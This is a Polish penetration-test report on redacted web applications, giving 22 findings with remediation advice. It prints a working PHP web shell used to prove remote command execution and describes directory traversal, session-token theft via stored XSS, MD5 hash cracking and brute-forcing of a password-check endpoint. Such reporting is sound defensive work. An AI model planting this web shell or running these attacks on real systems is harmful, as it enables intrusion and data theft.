Web Application Report #1 - Polish

Adnotacja: Niniejszy raport nie zawiera części zrzutów ekranu, ponieważ autor zdecydował się nie udostępniać wyglądu testowanej aplikacji.

Podsumowanie

W dniach 27.03.2025 – 31.03.2025 przeprowadzone zostały testy bezpieczeństwa aplikacji internetowych dostępnych pod adresami [REDACTED] w obrębie wszystkich dostępnych funkcjonalności.

Testy przeprowadzono metodą graybox przy wykorzystaniu kont testowych dostarczonych przez Stronę Zamawiającą.

W wyniku przeprowadzonych testów zaraportowano 22 zgłoszenia w tym 5 zgłoszeń o krytycznym poziomie ryzyka, 2 zgłoszenia o wysokim poziomie ryzyka, 8 zgłoszeń o średnim poziomie ryzyka, 3 zgłoszenia o niskim poziomie ryzyka oraz 4 zgłoszenia o charakterze informacyjnym.

[Krytyczny] Zdalne wykonywanie poleceń poprzez przesłanie plików .phtml

W aplikacji istnieje możliwość zdalnego wykonywania poleceń na serwerze poprzez umieszczenie odpowiednio przygotowanego pliku o rozszerzeniu .phtml w folderze /var/www/html/xxx/App/xxx/tmp/uploads. Aplikacja oraz funkcjonalność dodawania plików są dostępne dla nowo utworzonych użytkowników, którzy nie zostali przypisani do żadnych grup ani nie posiadają żadnych uprawnień, co skutkuje oceną tej podatności jako krytycznej. Podatność została również odtworzona przy użyciu przycisku „Zgłoś alert”, dostępnego w menu każdego użytkownika. Ze względu na fakt, że większość funkcjonalności związanych z przesyłaniem plików korzysta z tego samego endpointu API, istnieje prawdopodobieństwo występowania dodatkowych miejsc w aplikacji, które mogą umożliwiać odtworzenie tej podatności.

Wskazanie funkcjonalności umieszczania plików na serwerze:

[REDACTED]

Kod umieszczony w pliku webshell.phtml:

<?php
if (isset($_GET['oiuf2nhu32f03'])) {
   system($_GET['cmd']);
}
?>

Potwierdzenie istnienia pliku webshell.phtml oraz wykonanie polecenia ls /home na serwerze aplikacji internetowej z wykorzystaniem tymczasowej lokalizacji plików:

Potwierdzenie dostępności pliku webshell.phtml za pomocą żądania HTTP GET do folderu /common/user:

Rekomendacje naprawy

Zaleca się, aby pliki przesyłane przez użytkowników były przechowywane w katalogach, do których dostęp jest ściśle kontrolowany, a wykonanie poleceń na serwerze powinno być zablokowane.

Należy weryfikować i filtrować rozszerzenia przesyłanych plików w oparciu o białą listę dozwolonych wartości oraz sprawdzać ich deklarowany typ MIME (Content-Type) pod kątem zgodności z rzeczywistym formatem i dopuszczalnymi typami określonymi w konfiguracji aplikacji. Zaleca się sprawdzanie sygnatur plików (magic bytes) oraz ich zawartości w celu wykrycia potencjalnie szkodliwego kodu lub nieoczekiwanego typu zawartości.

[Krytyczny] Niebezpieczne przechowywanie haseł przy użyciu algorytmu MD5

Aplikacja przechowuje hasła użytkowników w postaci skrótów MD5, które są podatne na złamanie ze względu na ich słabą odporność kryptograficzną. Dodatkowo, hasła te są przesyłane w odpowiedziach API w odpowiedzi na różne żądania, co zwiększa ryzyko ich przechwycenia i nieautoryzowanego dostępu.

Skrót MD5 hasła użytkownika o adresie e-mail ds3@[REDACTED] przesłane w odpowiedzi API:

Weryfikacja czy przesłany skrót jest rzeczywiście skrótem hasła użytkownika:

Rekomendacje naprawy

Zalecane jest zastąpienie MD5 silniejszymi algorytmami, takimi jak bcrypt, Argon2 lub PBKDF2, z odpowiednią liczbą iteracji i unikalną solą dla każdego hasła.

Dodatkowo, hasła nigdy nie powinny być przesyłane w odpowiedziach API.

[Krytyczny] Informacje poufne przechowywane w pamięci lokalnej przeglądarki

Aplikacja przechowuje poufne informacje, takie jak token sesyjny user_token, user_token_refresh, szczegółowe dane aplikacji oraz informacje o ostatnio zalogowanym użytkowniku w formacie JWT, czyli w postaci jawnego tekstu, w pamięci lokalnej przeglądarki. Dane te obejmują m.in.: identyfikator użytkownika, identyfikator aplikacji, adres e-mail, numer telefonu, adres zamieszkania, datę urodzenia, numer PESEL, lokalizację plików prywatnych na serwerze, adresy IP oraz informacje dotyczące logowania dwuetapowego. To samo zagrożenie występuje również w publicznej części aplikacji, a nie tylko w panelu administracyjnym.

Przechowywanie tych danych w pamięci lokalnej przeglądarki naraża je na odczytanie przez dowolne skrypty JavaScript uruchomione w aplikacji lub przez osoby mające dostęp do przeglądarki, co może prowadzić do naruszenia poufności informacji i zwiększonego ryzyka ataków, takich jak Cross-Site Scripting (XSS).

Rekomendacje naprawy

Token user_token oraz inne wrażliwe dane nie powinny być przechowywane w localStorage, jeśli nie są niezbędne do działania aplikacji. Zaleca się ich całkowite usunięcie lub przechowywanie w HttpOnly cookies.

[Krytyczny] Nieodpowiednia kontrola dostępu do aplikacji

Aplikacja jest skonfigurowana nieprawidłowo, co skutkuje brakiem weryfikacji dostępu do wielu komponentów.

Przypadek #1 – Anonimowe uzyskanie dostępu do poufnych danych użytkowników.

Aplikacja umożliwia nieautoryzowanej osobie wysyłanie żądań do API, co pozwala, m.in. na pozyskanie danych poufnych wszystkich użytkowników aplikacji internetowej. Z użyciem ataku siłowego możliwe jest iterowanie po identyfikatorach użytkowników (np. 1111113331) i uzyskać informacje, takie jak adres e-mail, skrót MD5 hasła, adres zamieszkania, numer PESEL, numer telefonu i inne. Mechanizmy zabezpieczające przed tego typu atakami nie zostały zaimplementowane, w przeciwieństwie do ochrony stosowanej w formularzu logowania.

Żądanie o dane użytkownika (identyfikator 1111113331) wykonane bez uwierzytelnienia:

Iteracja po numerach ID i pozyskanie 31 zestawów poufnych informacji:

Prosta sesja łamania 29 wydobytych skrótów MD5 umożliwiła uzyskanie hasła do trzech kont: Sylwia Anonim, Adrian Anonim, oraz anonim@gmail.com.

Pozyskanie poufnych danych użytkowników aplikacji internetowej może zostać zrealizowane przy użyciu drugiego wskazanego linku, bez konieczności stosowania metod siłowych. Wysłanie anonimowego żądania skutkuje uzyskaniem pełnej bazy danych użytkowników, zawierającej wszystkie wcześniej opisane informacje:

Przypadek #2 – Anonimowe przesyłanie plików na serwer.

Aplikacja umożliwia anonimowe przesyłanie plików do katalogu /tmp/uploads poprzez żądanie do /index.php/base/uploadfile:

Potwierdzenie istnienia pliku na serwerze:

Rekomendacje naprawy

Zaleca się wprowadzenie odpowiednich mechanizmów uwierzytelniania i autoryzacji dla żądań API, a także implementację ograniczeń dostępu, takich jak weryfikacja uprawnień użytkownika oraz zabezpieczenie przed atakami brute-force.

Należy również wprowadzić limit prób i monitorowanie podejrzanej aktywności.

[Krytyczny] Nieautoryzowana podatność Directory Traversal w funkcjonalności pobierania plików

Aplikacja korzysta z żądania API /download.php?url= do pobierania plików z serwera. Plik wskazany w żądaniu nie jest weryfikowany, co umożliwia dostęp do dowolnego pliku na serwerze, do którego użytkownik aplikacji ma dostęp.

Pobranie pliku /proc/version z serwera aplikacji:

Rekomendacje naprawy

[Wysoki] Podatność Stored XSS w kilku funkcjonalnościach aplikacji

Aplikacja nieprawidłowo weryfikuje dane wejściowe przesyłane przez użytkownika. W efekcie możliwe jest umieszczenie na stronie złośliwego kodu wykonywanego podczas odwiedzin innego użytkownika w wskazanym miejscu. Ta podatność umożliwia przeprowadzenie ataków typu Cross-Site Scripting (XSS), co może prowadzić do kradzieży sesji, manipulacji treścią strony lub przekierowań na złośliwe witryny. Problem może występować globalnie w całej aplikacji, a poniżej przedstawiono jedynie wybrane przykłady jego występowania.

Przypadek #1 – Umieszczenie kodu w tytule lub opisie formularza oraz kradzież tokenów sesyjnych.

W przypadku, gdy użytkownik posiada uprawnienia do tworzenia lub edytowania formularzy, istnieje ryzyko przejęcia sesji dowolnego użytkownika lub administratora odwiedzającego dany formularz. Dodatkowo, umieszczony kod jest zapisywany w logach, które są dostępne w wielu miejscach aplikacji, co zwiększa ryzyko przejęcia tokenu Administratora.

Wskazanie funkcjonalności:

[REDACTED]

Umieszczenie złośliwego kodu i zapisanie formularza:

Przejście do dziennika zdarzeń skutkujące wykonaniem zamieszczonego kodu w tle:

Żądanie wysłane do serwera kontrolowanego przez atakującego, zawierające aktualny token sesji, co umożliwia przejęcie konta użytkownika:

Przypadek #2 – Przesłanie pliku SVG zawierającego osadzony kod jako zdjęcie profilowe.

Plik pozostaje w katalogu /tmp/uploads do momentu, gdy użytkownik zdecyduje się usunąć lub zmienić zdjęcie profilowe. Jeśli atakujący wróci na poprzednią stronę bez podejmowania jakiejkolwiek akcji po przesłaniu pliku, plik pozostanie w katalogu i nie zostanie automatycznie usunięty przez aplikację. W przypadku podjęcia jednej z tych akcji przez atakującego, plik zostanie usunięty, ponieważ teoretycznie nie powinien być przechowywany w tym miejscu.

Wskazanie funkcjonalności:

[REDACTED]

Umieszczenie na serwerze pliku Test-XSS.svg przy użyciu klawisza „ZMIEŃ ZDJĘCIE”. Lokalizacje pliku można wydobyć klikając na „Otwórz obraz w nowej karcie” lub sprawdzając odpowiedź do wysłanego żądania:

Egzekucja kodu umieszczonego w pliku Test-XSS.svg:

Pliki, które powinny być automatycznie usunięte z serwera:

Rekomendacje naprawy

Należy weryfikować i filtrować dane przekazywane przez użytkownika pod kątem obecności znaków specjalnych oraz niebezpiecznych fraz takich jak nazwy tagów czy eventów HTML, przed zapisaniem ich do miejsca docelowego oraz przed osadzeniem ich w treści strony.

[Wysoki] Brak unieważniania sesji po poprawnym wylogowaniu

Aplikacja nie unieważnia ciasteczka sesyjnego po poprawnym wylogowaniu użytkownika. Poniżej przedstawiono przykład ponownego użycia tokena sesyjnego po prawidłowym wylogowaniu użytkownika:

Zdobycie nowego tokena sesyjnego po zalogowaniu na konto (1) oraz poprawne wylogowanie się z konta (2):

Wykorzystanie tokena sesyjnego, który nie powinien być aktywny, do pozyskania adresu e-mail, numeru telefonu oraz skrótu MD5 hasła użytkownika:

Rekomendacje naprawy

Należy unieważniać tokeny sesyjne po poprawnym wylogowaniu.

[Średni] Zbyt długi czas ważności tokenu sesyjnego

Token user_token używany w aplikacji ma ustawiony czas ważności (expiration) na zbyt długi okres – 3 tygodnie od wygenerowania:

Rekomendacje naprawy

Zaleca się, aby czas ważności tokenu sesyjnego był ograniczony do kilku minut lub godzin, w zależności od wymagań aplikacji (np. 15 minut dla sesji użytkownika).

[Średni] Hasło użytkownika przesyłane w jawnym tekście w ścieżce URL

W procesie zakładania konta aplikacja wysyła żądania w celu weryfikacji, czy podane hasło znajduje się na liście słów „zbanowanych”. Hasło jest jednak przesyłane jako parametr żądania w adresie URL, co stanowi istotne zagrożenie bezpieczeństwa. Może to prowadzić do ujawnienia wpisywanych haseł osobom mającym dostęp do historii przeglądarki lub zdolnym do przechwytywania ruchu sieciowego. Dodatkowo, podobna sytuacja ma miejsce przy sprawdzaniu czy hasło nie było wcześniej użyte przez tego użytkownika oraz w procesie odblokowywania opcji „Lock screen”.

Żądania wysyłane w procesie zakładania konta:

Szczegóły żądania oraz odpowiedź dla słowa „TestingThisPassword”:

Rekomendacje naprawy

Hasło powinno być przesyłane w treści żądania (POST body) zamiast jako parametr URL, aby uniknąć jego zapisu w logach i historii przeglądarki.

Zalecane jest nie przesyłanie hasła w postaci jawnej, a zastosowanie mechanizmu sprawdzającego jego skrót (np. HMAC) po stronie klienta.

[Średni] Brak skanowania antywirusowego podczas przesyłania plików na serwer

W procesie wgrywania plików nie jest przeprowadzane skuteczne skanowanie pod kątem szkodliwego oprogramowania, dzięki czemu możliwe jest wgranie na serwer potencjalnie niebezpiecznych plików. Problem może występować globalnie w całej aplikacji, a poniżej przedstawiono jedynie wybrany przykład jego występowania.

Przesłanie pliku (maliciousDocument.pdf) wygenerowanego przy użyciu środowiska Metasploit na potrzeby testu:

Potwierdzenie istnienia pliku o nazwie maliciousDocument.pdf na serwerze aplikacji internetowej:

Wskazanie wyników skanowania antywirusowego w serwisie VirusTotal dla pliku pobranego z serwera aplikacji:

Rekomendacje naprawy

Należy skanować wgrywane pliki pod kątem szkodliwego oprogramowania przed ich zapisem do miejsca docelowego.

[Średni] Nadmierne ujawnianie informacji w odpowiedziach aplikacji

W odpowiedziach na wiele żądań aplikacja przesyła nadmierne informacje, takie jak adresy IP użyte do utworzenia lub modyfikacji rekordów w bazie danych, daty ich utworzenia lub zmiany, numer PESEL, skrót MD5 hasła użytkownika, skrót MD5 hasła użytkownika, który został użyty przy ostatnim logowaniu, a także pełne ścieżki lokalna na serwerze aplikacji do przesłanego pliku. Może to prowadzić do nieautoryzowanego dostępu do wrażliwych danych oraz potencjalnego nadużycia tych informacji przez osoby niepowołane. Niektóre z tych żądań są wykonywane jako osoba anonimowa, co oznacza, że wskazane informacje są publicznie dostępne.

Nadmierne informacje wysyłane do zalogowanego użytkownika:

Anonimowe żądanie do serwera:

Rekomendacje naprawy

Zaleca się, aby w odpowiedziach API znajdowały się wyłącznie informacje niezbędne do działania danej funkcjonalności aplikacji.

[Średni] Możliwość ominięcia polityki haseł

Brak weryfikacji hasła po stronie back-endu umożliwia obejście polityki haseł i ustawienie dowolnie prostego hasła, np. pojedynczego znaku (“a”), a nawet pustego hasła. Jednak w przypadku ustawienia pustego hasła konto użytkownika zostaje całkowicie zablokowane, ponieważ nie jest możliwe wygenerowanie hashu z pustego słowa.

Wskazanie funkcjonalności zmiany hasła:

Wskazanie silnego hasła, które spełnia politykę haseł:

Przejęcie żądania zmiany hasła i modyfikacja parametru “pass” na nowe hasło “aaaa”:

Potwierdzenie zmiany hasła na “aaaa” poprzez zalogowanie się do systemu za pomocą tego hasła przez użytkownika ds3:

Dodatkowo, gdy administrator kliknie przycisk “Wyślij nowe hasło” dla konkretnego użytkownika, hasło wygenerowane przez system nie spełnia wymagań ogólnej polityki haseł.

Rekomendacje naprawy

Zaleca się wprowadzenie weryfikacji haseł zarówno po stronie front-end, jak i back-end aplikacji, aby zapewnić zgodność z polityką haseł.

Należy również uniemożliwić ustawienie pustego hasła oraz wzmocnić politykę haseł aby była zgodna ze standardem ASVS v4.0.3.

[Średni] Możliwość przeprowadzania ataków siłowych na hasła użytkowników

Publicznie dostępny endpoint API aplikacji /index.php/user/passtest umożliwia weryfikację poprawności hasła dla określonego konta. W odróżnieniu od standardowego formularza logowania, mechanizm ten nie posiada ograniczenia liczby nieudanych prób uwierzytelnienia. Brak limitu umożliwia atakującemu przeprowadzenie ataków siłowych pozwalających na odgadnięcie hasła, poprzez masowe odpytywanie serwera. Możliwe jest również przeprowadzanie prób dostępu w sposób anonimowy, mimo że odkrycie tego endpointu wymaga wcześniejszego zalogowania się do systemu oraz wybrania opcji „Lock screen” w menu.

Wskazanie funkcjonalności:

Wydobycie hasła dla wskazanego konta po 101 próbach ataku siłowego:

Rekomendacje naprawy

Zaleca się wprowadzenie limitu błędnych prób logowania wraz z tymczasową blokadą możliwości zalogowania się na konto użytkownika i/lub zastosowanie mechanizmu typu reCaptcha.

Ponadto zaleca się wprowadzenie ograniczeń (rate limiting) uniemożliwiających masowe odpytywanie serwera.

[Średni] Token sesyjny przesyłany w adresach URL żądań

Aplikacja przesyła token sesji użytkownika w adresach URL żądań API. Przechwycony token może zostać wykorzystany do uzyskania dostępu do skrótu hasła użytkownika, co jest szczególnie niebezpieczne przy stosowaniu algorytmu MD5.

Rekomendacje naprawy

Token sesji powinien być przesyłany wyłącznie w nagłówkach żądań zamiast w adresie URL.

[Średni] Token sesyjny przesyłany w adresach URL żądań

Aplikacja nie posiada mechanizmów ograniczających dostęp do plików, co umożliwia nieautoryzowanym użytkownikom dostęp do plików konfiguracyjnych. W linkach zostały wskazane tylko niektóre, przykładowe pliki, do których udało się uzyskać dostep.

Przykładowy plik construct.sql dostępny publicznie:

Rekomendacje naprawy

Zaleca się ograniczyć dostęp do plików konfiguracyjnych aplikacji.

[Niski] Słaba obsługa błędów

Aplikacja nieprawidłowo obsługuje błędy, co prowadzi do ujawniania informacji o ich wystąpieniu, a także wewnętrznych ścieżek serwera oraz poleceń wykonywanych przez API. Problem występuje globalnie, a poniżej zostały przedstawione jedynie trzy różne scenariusze.

Przypadek #1 – Jeden z błędów w Aplikacja > Rejestry > Dziennik Zdarzeń:

Przypadek #2 – Błąd w Aplikacja > Użytkownicy > [Użytkownik] > Działania:

Przypadek #3 – Błąd w Aplikacja > Rejestry > Sesje użytkowników:

Przypadek #4 – Błąd w publicznej części Aplikacja > Menu > Moja aktywność:

Przypadek #5 – Błąd występujący podczas próby wykonania akcji, do której użytkownik nie posiada odpowiednich uprawnień:

Rekomendacje naprawy

Poprawić obsługę błędów, aby uniknąć narażenia wrażliwych informacji systemowych.

[Niski] Nieskuteczna implementacja mechanizmu anty-CSRF

W aplikacji stwierdzono nieprawidłowości w implementacji mechanizmu anty-CSRF. W trakcie testów zwrócono uwagę na nagłówek HTTP X-Csrf-Token, którego wartość jest domyślnie ustawiana na xxxx.

Rekomendacje naprawy

Nie należy akceptować żądań, których struktura jest niezgodna z oczekiwaną w tym m.in. metoda żądania, wartości oraz sposób przekazywania parametrów. W opisanej sytuacji kluczowe jest wymaganie przekazania prawidłowego tokenu CSRF powiązanego z sesją danego użytkownika.

[Niski] Możliwość enumeracji użytkowników

Aplikacja w procesie przypominania hasła użytkownika pozwala na weryfikację istnienia konta w systemie bez konieczności uwierzytelnienia, co umożliwia przeprowadzenie masowych prób odpytania systemu o dostępność danych kont.

Żądanie dla nieistniejącego konta:

Żądanie dla istniejącego konta:

Rekomendacje naprawy

Zalecane jest zwracanie ogólnych komunikatów które nie wskazują na istnienie użytkownika.

[Informacyjny] Brak skutecznych limitów dla liczby wysyłanych wiadomości

Aplikacja nie stosuje skutecznych limitów dla liczby wysyłanych wiadomości email w procesie resetowania hasła użytkownika, dzięki czemu możliwe jest wysyłane dużej liczby wiadomości, w krótkim czasie do dowolnego użytkownika aplikacji. Może to skutkować np. zgłaszaniem domeny aplikacji jako złośliwej przez odbiorców niechcianych wiadomości, co może doprowadzić do jej zablokowania lub dodania do tzw. czarnej listy niebezpiecznych domen.

Wysłanie linku do resetu hasła na wskazany adres e-mail:

Skutek wysłania 25 żądań w ciągu kilku sekund:

Rekomendacje naprawy

Zaleca się zastosowanie limitów dla liczby wysyłanych wiadomości – np. 1 wiadomość na 15 minut.

[Informacyjny] Raport nagłówków bezpieczeństwa

Aplikacje nie wykorzystują rekomendowanych nagłówków bezpieczeństwa. Wynik przedstawiony poniżej jest taki sam dla pozostałych dwóch aplikacji.

Rekomendacje naprawy

Należy zastosować brakujące nagłówki bezpieczeństwa.

[Informacyjny] Raport bezpiecznego połączenia SSL/TLS

Poniżej przedstawiony raport bezpiecznego połączenia SSL/TLS zawiera analizę stanu protokołów bezpieczeństwa w komunikacji internetowej, uwzględniając ich wydajność, zgodność oraz ewentualne podatności. Ponieważ wszystkie trzy aplikacje znajdują się na tym samym serwerze, raport dotyczący bezpiecznego połączenia jest identyczny dla każdej witryny.

Rekomendacje naprawy

Raport SSL/TLS został opracowany informacyjnie i nie wymaga naprawy.